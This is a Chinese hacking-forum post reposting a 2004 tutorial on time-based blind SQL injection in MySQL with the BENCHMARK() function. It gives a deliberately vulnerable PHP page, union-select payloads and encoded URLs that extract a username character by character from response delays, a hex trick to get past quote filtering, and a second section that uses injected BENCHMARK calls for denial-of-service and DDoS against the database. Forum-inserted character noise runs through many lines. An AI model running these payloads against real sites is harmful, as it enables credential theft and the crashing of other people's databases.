找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1951|回复: 0
打印 上一主题 下一主题

MYSQL中BENCHMARK函数的利用

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:03:03 | 显示全部楼层 回帖奖励 |倒序浏览 |阅读模式
MYSQL中BENCHMARK函数的利用
& s1 ^* e0 Y' ?本文作者:SuperHei
( K! V' ?; R: [. l0 n# P文章性质:原创
' U& k5 W- g- e/ X发布日期:2005-01-02
: K# [( U/ p7 l4 |0 t完成日期:2004-07-09 ; m: ~; J3 [9 v$ S
第一部5 W. q$ m+ l! r4 N
2 k( L. Q3 ]; s5 V
利用时间推延进行注射---BENCHMARK函数在注射中的利用
0 e/ {/ Y8 S# c: F  s: W. C2 i; Z9 E* I2 G
一.前言/思路2 q% b: ^  N# \

# {0 g+ C  Q) N5 E& R3 w- I. w: e8 Y  如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。
7 r8 I3 y. S2 l/ q% s+ U1 r. p# f3 G0 Y6 n
  本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。! D. @( M9 L' x  k$ ?4 `' d
2 y' o, h& P" ?4 I! J) f
二.关于BENCHMARK函数. M2 z! O) s/ k) i$ |; f# w3 P0 B' p
* P! {2 {- a& v% |
  在MySQL参考手册里可以看到如下描叙:
. U9 X* J1 Y* `0 x( ]4 N! U2 A7 z* W) a3 \
3 F! H0 O  y" v7 B$ z, h7 \( S9 @
--------------------------------------------------------------------------------% B4 B9 `3 G. x4 @! d2 l

8 Z4 o! V: p. j+ X, H3 x: C- a0 zBENCHMARK(count,expr)
$ \, [- s  v  Q4 aBENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。
& H$ G" K" ]- Y  x, _mysql> select BENCHMARK(1000000,encode("hello","goodbye")); 7 j$ _! c+ _9 F
+----------------------------------------------+ % g+ [# ?" e* U' |
| BENCHMARK(1000000,encode("hello","goodbye")) | ' U+ ^0 V' U  `  E- B+ E/ j/ U
+----------------------------------------------+ / @- F9 Q( i: K" a; p
| 0 |   s' r! B" x% z% G, U) L/ ]
+----------------------------------------------+
# [) r6 S$ k5 ?( X1 `1 row in set (4.74 sec)
6 E/ u& P4 ]/ Y3 F/ x7 q% Y/ m7 u) S9 ]) [
报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。. Q& ^5 y& a5 G; }
" W- J: q" f2 e5 T# |
( e  A# A$ S9 i3 n
--------------------------------------------------------------------------------
0 L5 {) l5 e+ o! h* Y
, b; ~$ z7 Y) r# i' ]. u  只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果:
( w% k$ X6 L" x' v% k: ?$ w1 B8 P$ }$ j1 T
mysql> select md5( 'test' ); % [* |6 j/ i! {. O2 Q
+----------------------------------+ 8 ^2 y! H2 y; B/ l9 u% U
| md5( 'test' ) | # l9 w; P" V7 n; o& a% I, ~8 W
+----------------------------------+
: N5 _- U. D" e0 q| 098f6bcd4621d373cade4e832627b4f6 | 6 w# q  ]9 Z5 J% U; Q8 q5 C7 u
+----------------------------------+ ( C5 P1 k; O8 F; G" }1 {. n# Z4 O
1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec
- C* j: x4 O, \9 k  R) U/ k+ C7 Q- X. l
mysql> select benchmark( 500000, md5( 'test' ) );
4 a% B& H& `6 K+------------------------------------+
- t; M/ S1 Z" C4 H! ]6 h% h0 @| benchmark( 500000, md5( 'test' ) ) | 4 \- t( o0 u  u& ^% p1 A4 k
+------------------------------------+ : W4 y9 m, O6 m7 ^0 m) I
| 0 | : Q# G- a- J: r9 v3 Q' h2 h9 P
+------------------------------------+
9 ~- u( a& [, T% a' V1 row in set (6.55 sec) 〈------------执行时间为6.55 sec
# L4 A+ G+ ^1 r- X/ U, n1 L2 ` $ m5 D2 G. B- X( e
0 A9 W$ t* E5 O1 ^7 ]
  由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。 5 d1 g8 B. M3 q! u8 s! L+ d

' u6 o$ b7 a! L9 k7 a" R三.具体例子2 H- T& L" i( q- N3 G( L8 p$ `
  Q* n' @7 \3 D: o& f9 \
  首先我们看个简单的php代码:
: }) P; O& a& z5 t0 E$ _9 e) P
  `  R' h( w( F8 N5 e* F* B! A1 _< ?php
" y7 l! R8 ]9 b5 K+ @* N- |! O. E$servername = "localhost"; + `0 g# B: S. x
$dbusername = "root";
$ |8 ]7 D" }6 W( \7 c2 {- v7 F. G$dbpassword = "";
$ g* a: M: y( d  K$dbname = "injection"; ! e9 g0 G. ?: ^3 ]9 T

) W- ?$ a$ Q( z  O# I1 P' \/ ?mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
" S; ]0 b/ l2 o- W0 p2 t- @6 w" Z9 I. u2 b4 n2 J& \2 J$ K
$sql = "SELECT * FROM article WHERE articleid=$id"; 0 J0 u) F- _8 @# f
$result = mysql_db_query($dbname,$sql);
: I1 {) |6 O6 M7 _2 Q( I7 q' j$row = mysql_fetch_array($result);
  x: o- h% S: q, F# n, P' ]& V! }! @+ [4 F$ k3 b
if (!$row) 1 n0 A$ [+ @  g
{
8 E& e7 V! n1 O2 Oexit;
$ B/ e, a9 d/ U( j% U! Q" v} ' w; x3 Z# g8 {  b- A9 d
?># [9 _; s( x. P4 |
6 t  q+ V. J% G

( o# F& A8 G7 z% m8 ~6 }& y& t& P  数据库injection结构和内容如下:
& @( z9 T4 B/ S7 \3 G
' ?3 k5 ^; F7 t/ R, [$ u# 数据库 : `injection` , M7 x8 g4 Z# e! Z, |) m$ I8 W
# & z- b  w: N5 e: J9 E5 n. u4 @
) ^/ h: i* B& g+ u1 t
# -------------------------------------------------------- ( n) w3 a0 _. S2 i) u

& y, o4 r$ C8 @' ]9 V1 X! v* S& g- G#
# X; l! T& z0 d2 v. N1 ^# 表的结构 `article` , ]: G' |% K3 H
# ' q: n3 f+ F7 P! U& f

" {1 x2 P- f% B* mCREATE TABLE `article` (
' R" ^( f: Z4 \" P, P9 N  N, C`articleid` int(11) NOT NULL auto_increment,
4 f' y6 W6 n. Y. z0 b2 z, O`title` varchar(100) NOT NULL default '',
; \4 e9 r0 a! {0 a  h4 D`content` text NOT NULL,
$ m; n* g: [% }# EPRIMARY KEY (`articleid`) : I0 D5 I4 u1 d; e+ l+ ?
) TYPE=MyISAM AUTO_INCREMENT=3 ; - _' ?! \* a% _5 u1 Y
+ x1 u/ n2 s9 L# ?, D
#
+ @# O) B4 i$ h  H# 导出表中的数据 `article`
! y6 ^2 f) Y+ I#
' a9 `6 I# ?+ C
  \8 @0 X; o% m+ v! g- M& R5 CINSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~'); - M# Y+ U+ Y/ o7 T2 X, ~
INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊');
5 V0 x: X  t& y8 r+ r  [! O# r: i: X: Y- x" k7 B
# --------------------------------------------------------
9 K2 d4 O8 e& U" m/ w3 \$ j& D- b( C. y% o( ?8 u3 T
# ( P% x6 I# Z" N8 c# F2 b% G) `9 n
# 表的结构 `user` 8 o, o: g( |" a' a3 D
#
% `# a0 [. Z" O: L# ^' D+ B1 U$ J) i1 L
CREATE TABLE `user` (
/ o3 d% f! M9 x; g5 ^`userid` int(11) NOT NULL auto_increment, * U5 P7 _: x! u8 g4 F# m( @, s* j% T
`username` varchar(20) NOT NULL default '',
4 y. f2 o0 G1 j5 a`password` varchar(20) NOT NULL default '',
/ q% h- m6 C( [1 O, n  jPRIMARY KEY (`userid`)
  `, Y% G, i, S1 @% U6 l7 q: G: F) TYPE=MyISAM AUTO_INCREMENT=3 ; 2 D5 f( o& f- _# g
" U: W' B$ H' H
# 5 w$ D1 I* t6 \) n8 R
# 导出表中的数据 `user`
2 s0 |8 X5 i8 T- X6 M; \* }#   q$ R  j0 H; I3 w* j
7 K& ?/ Y0 j" _* d
INSERT INTO `user` VALUES (1, 'angel', 'mypass'); . V* \2 k3 C! d. w. j; j
INSERT INTO `user` VALUES (2, '4ngel', 'mypass2');4 K9 O9 M6 M1 B

* g0 Y' k( x. a6 ]" _1 ~3 _2 [' G9 Q2 ?/ m3 t" P
  代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:2 O1 P# H7 s7 T+ v8 d

. ~8 ^4 l* [& i1 lid=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*; u! e. R5 p! n3 ~3 w1 x9 y

& y/ p( F$ z* J- A! e+ D
& p' x" ~0 _% Y: a& g/ u2 m& N  x- N  上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:1 e/ d# N! f  X# w6 B4 q, m6 T
2 J# M' j+ b( P4 [) E4 L1 K
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*
: k( x+ U6 \0 ^5 @8 M
# {, ^( [" m9 g. m( B" H3 t: E
( L% X- g( n: c& ]  执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。 2 f6 b2 Z$ n6 _* w

, i2 r1 h- Q$ _; n1 @" H( k0 ^/ {  注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。
; l+ v: @  l: V
0 `( {0 ], {$ U( K0 L第二部
6 i5 p* _4 l7 r: Y# k: ^
9 i3 \7 ^2 ]: ^8 \. D, }4 x利用BENCHMARK函数进行ddos攻击
! l/ F3 |2 b8 U/ B+ O9 H: g4 D2 d/ y' X3 a' p% ~
  其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:
* H) t! j( O+ K5 f1 I5 p' E! a; `! Q# J6 T
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))
& f9 Y6 G' B, W/ \( @ 6 y1 N% S$ O' o0 U4 z2 u3 P' ~5 R, ]

. i2 u4 ]' h8 X4 A# ~小结
/ [$ U! a7 z: P$ y! J5 d. c4 x+ [( d" m' t) D1 G6 \$ R
  本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。! t( |0 L5 V' \
6 ~; i6 f9 D5 H. s2 y* h
  
* n4 Y) R2 ]8 \9 {9 D
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表